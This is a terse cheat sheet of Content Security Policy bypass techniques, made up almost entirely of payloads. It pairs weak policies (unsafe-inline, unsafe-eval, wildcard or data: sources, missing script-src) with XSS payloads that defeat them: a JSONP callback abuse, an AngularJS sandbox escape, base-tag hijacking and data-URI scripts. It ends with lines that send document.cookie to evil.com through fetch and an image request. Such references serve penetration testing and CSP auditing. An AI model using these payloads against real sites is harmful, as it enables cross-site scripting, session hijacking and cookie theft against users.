Content Security Policy (CSP)

curl -s -I https://TARGET | grep -i "content-security-policy"

https://csp-evaluator.withgoogle.com/

Content-Security-Policy: script-src 'self' 'unsafe-inline'

<script>alert(1)</script>
<img src=x onerror=alert(1)>

Content-Security-Policy: script-src 'self' 'unsafe-eval'

<script>eval('alert(1)')</script>

Content-Security-Policy: script-src *
Content-Security-Policy: default-src 'self'; script-src https:

Content-Security-Policy: style-src 'self'
# No script-src, no default-src → scripts unrestricted

Content-Security-Policy: script-src 'self' https://accounts.google.com

<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<script src="https://cdn.jsdelivr.net/gh/attacker/repo/evil.js"></script>

Content-Security-Policy: script-src 'self' 'unsafe-eval' https://cdnjs.cloudflare.com

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<base href="https://evil.com/">
<!-- All relative script paths now load from evil.com -->

<script nonce="KNOWN_NONCE">alert(1)</script>

<object data="data:text/html,<script>alert(1)</script>"></object>

Content-Security-Policy: script-src 'self' data:

<script src="data:text/javascript,alert(1)"></script>

<script nonce="valid">
fetch('https://evil.com/steal?cookie='+document.cookie)
</script>

<!-- Or via img -->
<img src="https://evil.com/steal?data=leaked">

Content-Security-Policy-Report-Only: ...